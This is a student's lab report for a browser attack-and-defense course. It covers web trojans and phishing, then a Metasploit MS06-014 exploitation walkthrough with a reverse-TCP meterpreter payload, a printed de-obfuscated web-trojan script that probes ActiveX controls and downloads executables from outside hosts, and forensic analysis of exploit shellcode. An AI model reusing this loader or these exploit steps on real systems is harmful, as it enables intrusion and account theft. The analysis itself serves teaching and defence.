20199107 2019-2020-2 《网络攻防实践》第12周作业
这个作业属于哪个课程 | 《网络攻防实践》 |
这个作业的要求在哪里 | 《网络攻防实践》第11次作业 |
我在这个课程的目标是 | 学习新知识、考试拿高分 |
这个作业在哪个具体方面帮助我实现目标 | 学习浏览器安全攻防知识 |
作业正文 | 见下文 |
其他参考文献 | 见文末 |
1.实践内容
web浏览器技术发展与安全威胁
-
web浏览器软件的安全困境三要素
-
复杂性:需要支持HTTP、HTTPS、FTP等多种应用层协议,需要符合HTML、XHTML、CSS等一系列页面标准规范,需要支持JavaScript、flash、Java、silverlight等多种客户端执行环境,规模复杂而庞大,也带来了更多安全缺陷
-
可扩展性:现代web浏览器可能是最突出可扩展特性支持的软件类型,几乎所有浏览器都支持第三方插件,而插件也会带来漏洞
-
连通性:浏览器基本上始终工作在联网状态,一旦有漏洞,可能会被网络上的威胁源利用攻击
-
-
web浏览安全威胁位置
-
针对传输网络的网络协议安全威胁
-
针对web浏览端系统平台的安全威胁
-
针对web浏览器软件及插件程序的渗透攻击威胁
-
针对互联网用户的社会工程学攻击威胁
-
web浏览端的渗透攻击威胁——网页木马
-
驱动力:黑客地下经济链,其角色包括:病毒编写者、黑站长/网站骇客、“信封”盗窃者、 虚拟资产盗窃者、 虚拟资产卖家、玩家
-
技术基础:web浏览端安全漏洞
-
web浏览器自身及其插件的漏洞
-
操作系统的漏洞
-
其他影响范围大的漏洞
-
-
攻击流程
-
网页木马的机理分析
-
定义特性:本质上是利用了现代浏览器支持客户端脚本执行的能力,针对web浏览端软件安全漏洞攻击
-
复杂、难以应对的原因:
-
多样化的客户端渗透攻击位置和技术类型
-
分布式、复杂的微观链接结构
-
灵活多变的混淆与对抗分析能力
-
-
-
网页挂马机制:将网页木马挂到有一定流量的网页的过程
-
内嵌HTML标签:常引用中间跳转站点进行隐藏,最常使用iframe标签,也常用frame、body标签的onload事件、在CSS标签中包含网页木马链接等
-
恶意script脚本:利用script标签外部引用脚本,跳转脚本常用动态生成的包含网页木马的iframe标签,或用windows.open函数弹出新的窗口链接木马
-
内嵌对象链接:利用图片、flash等内嵌对象的特定方法加载指定页面
-
ARP欺骗挂马:不需要真正攻陷目标网站,而是利用ARP欺骗,进行中间人攻击,劫持所有进出目标网站的流量,并在目标网站HTML反馈包注入恶意脚本
-
-
混淆机制:网页木马反抗检测和分析的技术,也称免杀
-
代码重新排版,去除缩进、空格、换行、注释等,将变量名用随机字符串代替
-
通过大小写变换、十六进制编码、escape编码、unicode编码等方法对网页木马进行编码混淆
-
通过通用或定制的加密工具对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数,对密文进行解密,再使用document.write()或eval()进行动态输出或执行
-
利用字符串运算、数学运算或特殊函数,例如通过字符串替换函数将网页木马中的一些字符替换为其他字符构成混淆后代码,然后在运行时首先替换回原先的字符,然后进行动态执行
-
修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件,将网页木马代码拆分至多个文件等
-
-
检测与分析技术
-
基于特征码匹配的传统检测方法
-
基于统计与机器学习的静态分析方法
-
基于动态行为结果判定的检测分析方法
-
基于模拟浏览器环境的动态分析检测方法
-
网络钓鱼
-
概述:用自动化的社会工程学手段欺骗别人给出口令或其他敏感信息
-
技术内幕
-
普遍技术流程:
-
扫描网段寻找有漏洞的服务器
-
攻陷服务器,安装Rootkit或口令保护的后门
-
通过后门获取服务器访问权,并搭建钓鱼网页
-
用群发电子邮件工具大规模散发欺骗邮件
-
流量到达钓鱼网站,通过后台脚本收集受害者敏感信息
-
-
欺骗技巧:
-
使用IP地址代替域名
-
注册发音或形似的DNS域名,并架设假网站
-
在假冒钓鱼网站的电子邮件中加入大量指向真实目标网站的链接
-
对假冒网站URL进行编码或混淆
-
攻击浏览器软件的漏洞,使之隐藏消息内容的实质
-
将假冒的钓鱼网站配置成记录用户提交的所有数据并进行不可察觉的日志,然后将用户重定向到真实的网站
-
架设一个假冒网站作为真实网站的代理,偷偷记录未使用SSL加密保护的口令等敏感信息,甚至为假域名注册一个有效的SSL证书记录所有流量中的敏感信息
-
通过恶意代码在受害者主机安装一个恶意浏览器助手,将受害者重定向到假冒钓鱼网站
-
通过恶意代码修改受害者主机的hosts文件
-
-
-
防范技巧
-
提高警惕,不轻信邮件
-
充分利用浏览器、网络安全厂商提供的反钓鱼网站功能特性
-
访问可进行在线金融操作的网站,最好直接用域名访问,最好用U盾代替软证书或口令
-
通过学习提高自身抗社工攻击能力
-
2.实践过程
web浏览器渗透攻击实验
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网络木马构造及实施浏览器攻击的实际过程
机器 | 角色 | IP |
---|---|---|
kali-Linux | 攻击机 | 192.168.200.2 |
win2kServer | 靶机 | 192.168.200.124 |
kali用msfconsole
启动Metasploit
search ms06-014
找到实验要用的攻击模块,use exploit/windows/browser/ie_createobject
使用该模块
show payloads
查看payload,然后set payload windows/meterpreter/reverse_tcp
选择payload
show options
查看参数,set LHOST 192.168.200.2
设置攻击机IP为kali的IP,其他用默认
exploit
执行攻击,之后复制一下生成的挂马网页URLhttp://192.168.200.2:8080/jE1Nmb7AVguiz
(这是做完才截的图,所以已经有个session了)
用靶机访问该页,之后kali处会获得一个sessions
用sessions -i 1
可以获得meterpreter命令行,其中1为session ID
剖析一个实际的网页木马攻击场景
不看参考答案做不出来,难受啊
- 1.你是如何一步步从所给网页获取最后的真实代码的?
因为教材的参考网站已经废弃了,然后从提供的资料里又找不到找不到start.htm和new09.htm,就只好跳过这两个
随便找个在线md5加密,求一下对应的32位md5值
通过hash值找到该文件,改文件后缀后,可用记事本打开查看
通过以上方式可以从网页找到混淆后的源代码,之后就是想办法去掉混淆了
- 2.网页和JavaScript代码中都使用了什么加密方法?你是如何解密的?
http://js.users.51.la/1299644.js
打开直接看到一句:“本文件内容是流量统计代码,不是木马”
http://aa.18dd.net/aa/kl.htm
就是上图,红框框起来的那行可见加密方式xxtea+base64编码,以及十六进制口令
没有找到有效的在线加解密工具,但找到了不少源代码,可以编译调试一下,但既然有答案那我还是看答案吧,
解密出来是一堆十六进制数,再将十六进制数转为字符
除了以上的xxtea+base64,16进制加密,后面还用到了8进制加密,js加密,escape加密等方法,都可以找对应的工具解决
- 3.从解密结果来看,攻击者构造的网页木马利用了哪些安全漏洞?
解密结果如下
function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http://aa.18dd.net/aa/1.js></script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http://aa.18dd.net/aa/b.js></script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http://aa.18dd.net/aa/pps.js></script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}
这个文件利用到的应用程序漏洞有“Adodb.Stream”、“MPS.StormPlayer”、“POWERPLAYER.PowerPlayerCtrl.1”和“BaiduBar.Tool”,分别对应利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞。
另外,这个文件还引用三个js文件和一个压缩包
-
4.解密后发现了多少个可执行文件?这些可执行文件中有下载器吗?如果有,下载了哪些程序?这些程序起什么作用?(举例分析)
再依次按上面的套路,求URL的md5,找到后改文件名-
http://aa.18dd.net/aa/1.js
又是十六进制,该文件前面部分下载了一个http://down.18dd.net/bb/014.exe可执行文件,后面是对ADODB漏洞的继续利用
-
http://aa.18dd.net/aa/b.js
加密的方法叫什么搞不清楚,好像就叫js加解密?之后还有一层escape加密,总之百度了好几款工具效果效果都不行,可能是编码的问题,总之强行继续,解密得到的结果是一个shellcode和一个可执行文件http://down.18dd.net/bb/bf.exe
-
http://aa.18dd.net/aa/pps.js
八进制的加密混淆,解密结果如下,同样是shellcode和可执行文件http://down.18dd.net/bb/pps.exe
-
http://down.18dd.net/bb/bd.cab
最后的压缩包,将其解压缩得bd.exe,然后发现,它和上面得到的014.exe,bf.exe,pps.exe大小相同,用md5sum 路径+文件名
对其内容求md5也完全一致,即它们有着完全一样的内容
-
用PEID看一下这个程序,发现它是Delphi写的,没有加壳
-
用W32DAsm反汇编这个bd.exe文件,看一下串式参考
-
可以作出以下推论(这里我没搞懂,大概是经验之谈?毕竟我完全不会Delphi)
-
1.这个程序可能生成一个叫"Alletdel.bat"的批处理文件,这个文件中有一个标签叫"try",批处理文件会不断的执行这个标签下一行的命令,命令内容可能是判断文件存在性,更改系统日期,删除某些文件(证据:" goto try",":try","Alletdel.bat","cmd /c date ","cmd /cdate 1981-01-12","del "","del %0","if exist "")
-
2.这个程序可能在磁盘根目录下生成自动运行的文件,以求用户不小心时启动程序(证据:":AutoRun.inf","[AutoRun] open=","AutoRun.inf","shellAutocommand=")
-
3.这个程序要对 IE、注册表、服务和系统文件动点手脚(证据:"advapi32.dll","drivers/klif.sys","program filesinternet explorerIEXPLORE.EXE","IE 执行保护","IEXPLORE.EXE","SoftwareMicrosoftWindowsCurrentVersionPoli"),"Kernel32.dll","SOFTWAREBorlandDelphiRTL" , "ChangeServiceConfig2A" , "ChangeServiceConfig2W" ,"QueryServiceConfig2A","QueryServiceConfig2W")
-
4.这个程序有一定的防系统保护软件的能力(证据:"瑞星卡卡上网安全助手 - IE 防漏墙","允许","允许执行")
-
5.这个程序要下载一堆木马(证据:一堆形如"http://down.18dd.net/kl/**.exe"的字符串,共 20 个)
-
-
因为太多了,不一一用md5找了,直接找到教材提供的程序,以4.exe为例,用PEID查看,发现有upack壳,用超级巡警脱壳机脱掉,再用PEID查看,发现好像还有一层morphine壳?但是用W32DAsm反汇编看串式参考的结果和答案一样,应该是顺利脱壳了
-
从串式参考可以猜测这个病毒可能要生成一个批处理文件并进行删除文件操作,因为"goto Loop del %0"," -r -a -s –h del ","if exist "", ":Loop","@echooff","attrib ""这些内容都是批处理文件中的字符串。同时其中还有 ClassID 标识和注册表键值和一些文件名
-
对目标进行动态分析,因为目标众多,用ProcessMonitor也不知道该怎么过滤,看了一下,只能看出它可能生成了文件,修改了注册表,同时运行完还会把自己删掉,后面直接上答案了
这个恶意程序生成了一些文件,包括enweafx.fon(91Bytes),kawdacs.dll(52Bytes),kawdbaz.exe(13957Bytes),kawdbzy.dll(20048Bytes),同时删除了verclsid.exe,更改了一些注册表项目,主要是设置了一个钩子,加载了一个启动DLL,另外把Windows的自动更新功能给禁用了 -
因为enweafx.fon和kawdacs.dll奇怪地小,查看其内容。
-
[Send] // enweafx.fon(密文)
Url1=EC1A060602485D5D0505055C02064B47420B005C111C5D1907084A0A185D021D01065C130102
[Send] // kawdacs.dll(明文)
Url1=http://www.pt950yr.cn/kuz8xj/post.asp
其作用是指定URL,其中enweafx.fon中给出的是密文形式,而kawdacs.dll给出的是明文形式。因密文只包括了数字和A到E的字母(F没有出现),因此初步确定为16进制加密。而密文长度为76,明文长度为37。密文长度比明文的长度多2,所以其中应有冗余的部分,考虑到一般的古典加密中,相同明文对应相同的密文。看到明文中有www,所以就在密文中找三个连续出现的十六进制代码,把目标锁定在050505上面。于是得出密文开始的EC不是明文加密后的一部分,将明文密文对应,发现两者间是异或72H的关系。
这个URL是一个动态页面,因此怀疑程序会向该页面提交信息,这个病毒是一个盗号木马。其他恶意程序也大同小异,都是各种盗号木马。
Web浏览器渗透攻击攻防对抗
-
任务:攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
-
采用之前ms06-014的攻击,靶机可以右键查看源文件获取攻击页面的源代码(或者wireshark抓包跟踪流)
-
js源代码里面函数名变量名之类的都换成了随机字符串,而且使用了分割字符串的方法,这必定是已经混淆过了的。当然,还可以继续对其进行混淆,例如用之前百度过的js加解密、16进制加解密、escape加解密等在线工具,但即使是现在这样我都觉得很难了,所以还是直接来吧,这个源代码最后面有个数组,已经被分割成一个一个字符的样子,合起来极其麻烦,但只要找到该数组的前几个字母,搜索一下可知是攻击ms06-014
-
取证分析挑战实践:Web浏览器遭遇攻击
通过分析给的网络记录文件,回答下列问题:
- 1.列出在捕获文件中的应用层协议类型,是针对哪个或哪些协议的?
首先apt-get isntall chaoreader
安装chaosreader
然后用chaosreader -r suspicious-time.pcap
打开suspicious-time.pcap文件
可以看到结果有HTTP、ICMP、netbios等协议
- 2.列出IP地址、主机名、域名,猜测攻击场景的环境配置。
然后使用一条巨长的命令搜索有哪些IP地址和域名在进行攻击,实验指导书这个命令里最后那个-打错了
for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http: ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http: ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host: ' | sort -u | sed -e 's/Host: //g'`; echo "$srcip --> $dstip = $host"; done | sort -u
其实从这里开始,就感觉很迷惑,虽然有答案,但看不懂,实验指导书感觉也不是很完整,还是全英文。这个主要还是参考大佬的博客做的
- 服务:
- DHCP服务和网关:10.0.2.2,10.0.3.2,10.0.4.2,10.0.5.2
- DNS服务:192.168.1.1
- 受害者:10.0.2.15,10.0.3.15,10.0.4.15,10.0.5.15
- 模拟被侵入主机:192.168.56.50 (“rapidshare.com.eyu32.ru”)、192.168.56.51 (“shop.honeynet.sg”)
- 攻击者:192.168.56.52 (“sploitme.com.cn”)
- 3.列出所有网页页面,其中哪些页面包含了可疑的、恶意的js脚本,谁在连接这些页面,目的是什么?
用wireshark打开suspicious-time.pcap,用过按协议排序列出netbios主机名和工作组,发现都一样,因此大概是配置在虚拟机环境中
通过之前chaosreader生成的一堆页面和js脚本,寻找其中的可疑、恶意的js脚本
例如打开session_0006.part_01.html,大概是一个诱导输入用户名和口令的钓鱼页面
又例如session_0007.part_02.html则是一个伪造的404页面
-
4.请给出攻击者执行攻击动作的概要描述(这里有多个场景,以其中一个为例):
-
(1)受害者1(10.0.2.15)使用Firefox连接到Rapidshare.eyu32.ru/login.php(192.168.56.50)
-
(2)而login.php包含sploitme.com.cn/?click=3feb5a6b2f(192.168.56.52)中的内容,该内容又被重定向到sploitme.com.cn/fg/show.php?s=3feb5a6b2f,其中包含一些javascript
-
(3)返回伪造的404错误无害页面
-
-
5.攻击者引入了哪些技巧带来了困难?
-
对js脚本使用了工具进行混淆,所用工具有:
-
rapidshare.eyu32.ru上的脚本:
http://dean.edwards.name/packer/ + http://www.web-code.org/coding-tools/javascript-escape-unescape-converter-tool.html
-
honeynet.sg上的脚本:
http://www.colddata.com/developers/online_tools/obfuscator.shtml#obfuscator_view
-
-
伪装成404页面
-
出发了漏洞利用后,会转到无害页面,不进行二次攻击
-
内容用gzip压缩,不会以明文显示
-
-
6.攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?
-
Mdac : WScript.Shell - MS06-014
-
Aolwinamp: IWinAmpActiveX.ConvertFile
-
Directshow: msvidctl.dll - MS09-032 - MS09-037
-
Snapshot: MSOfficeSnapshotViewer - MS08-04
-
Com: 'msdds.dll' COM Object - MS05-052
-
Spreadsheet: OWC10.Spreadsheet - MS09-43
-
-
7.shellcode执行了哪些操作?比较他们之间MD5的差异?
Shellcode的执行过程:Shellcode获取系统临时文件路径,加载urlmon.dll,从URLhttp://sploitme.com.cn/fg/load.php?e=1
检索可执行文件并执行。Shellcode之间的唯一区别是对load.php脚本的请求中的e变量,该变量指定发送恶意软件可执行文件。
其实还是不知道怎么提取shellcode
- MD5 (shellcode.KQwUDT) = 1dacf1fbf175fe5361b8601e40deb7f0
- MD5 (shellcode.XFxxmV) = 41d013ae668ceee5ee4402bcea7933ce
- MD5 (shellcode.epJYL5) = 22bed6879e586f9858deb74f61b54de4
- MD5 (shellcode.xG9cLy) = 9167201943cc4524d5fc59d57af6bca6
- 8.在攻击场景中有二进制可执行代码参与吗?目的是什么?
有。攻击使客户端从恶意软件分发网络服务器下载可执行文件并在本地执行。恶意可执行软件这是load.php发送的Win32可执行文件,它通过Internet Explorer加载www.honeynet.org。
3.学习中遇到的问题及解决
- 问题1:感觉啥都不会,看答案都看不懂那种,也就用Metasploit那里还能看懂了,后面课外实践让我感觉我的知识面非常不足
- 问题1解决方案:参考大佬的博客,搜索引擎搜索,强行继续
- 问题2:实验指导书搜索有哪些IP地址和域名在进行攻击的那个命令有一个sort用错符号为
—u
它比正常-u
要长那么一丢丢(仔细看-和u之间的距离),放过我的眼睛吧 - 问题2解决方案:把符号换掉
4.实践总结
前面用Metasploit攻击漏洞的实践还好,比较熟练了。后面又是是熟悉的添加亿点点细节的分析,分析网页挂马和浏览器攻防对抗那里还勉强能看个一知半解,后面就连看了答案都不会了,只能强行继续往下做,难受啊。
5.其他参考文献
- 《网络攻防技术与实践》(诸葛建伟著)
- 大佬博客链接:9101